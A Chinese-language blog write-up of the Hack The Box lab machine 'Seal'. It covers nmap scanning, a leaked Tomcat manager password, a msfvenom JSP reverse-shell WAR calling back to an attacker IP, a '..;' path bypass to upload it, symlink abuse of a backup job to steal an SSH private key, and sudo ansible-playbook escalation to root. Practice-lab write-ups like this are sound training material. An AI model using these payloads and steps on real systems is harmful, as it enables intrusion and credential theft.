SugarCrash!

记录学习,想找个师傅带带我

0%

Seal

收集

1
2
3
4
5
nmap -sS -T5 10.10.10.250 
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
8080/tcp open http-proxy

访问一个8080端口,提示注册用户,注册一个常试登录一下 hacker hacker

gitbucket ,百度说是用于搭建一个自己的github
git就想到了git源码泄露

gitbucket
github克隆,只需要把它的war文件仍到tomcat中,启动tomcat就可以访问了

updating tomcat configuration
点了之后给了tomcat的帐密
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
访问tomcat默认登录目录,用刚才的账号密码登录,登录成功

tomcat war部署getshell


进入tomcat后部署war包getshell

1
2
生成一个war马 
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f war -o ma.war

https://seal.htb/manager/status/..;/html 上面有个上传

需要在上传的路径上修改
POST /manager/satus/..;/html/upload?

200上传成功,
访问木马
seal.htb/ma/ nc -nvlp 4444
反弹成功

cd home/luis
发现user.txt访问不了,
需要提权。
.ssh也没有访问权限

1
2
3
4
5
6
7
8
9
10
11
12
13
尝试创建一个指向luis的id_rsa的软链接,我们可以把它放到/uploads目录中 

cd /opt/backups/archives
ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa
cp 新出现的backup+日期的文件 /dev/shm
cd /dev/shm
mv backup-2021-07-26-14:20:32.gz backup.tar.gz
tar -xvf backup.tar.gz
cd /dashboard/uploads
cat id_rsa
kali 本机创建一个 luis-id_rsa文件复制id_rsa里面的内容
ssh -i lis-id_rsa luis@10.10.10.250
连接成功,找到第一个user.txt

sudo -l
/usr/bin/ansible-playbook
google找到这个玩意儿,应该是用来编写网页的是一个东西吧,但是可以用来执行命令, https://docs.ansible.com/ansible/latest/user_guide/playbooks.html

1
2
3
4
5
6
7
8
9
10
11
创建一个yml文件 
- name: Ansible Copy Example Local to Remote
hosts: localhost
tasks:
- name: copying file with playbook
become: true
copy:
src: /root/root.txt
dest: /dev/shm
owner: luis group:
luis mode: 0777

sudo -u root /usr/bin/ansible-playbook root.yml 访问/dev/shm/root.txt就成功了。

总结

gitbucket

第一次复现了tomcat的 war部署getshell
提取的地方,利用收集到的信息多google下说不定有惊喜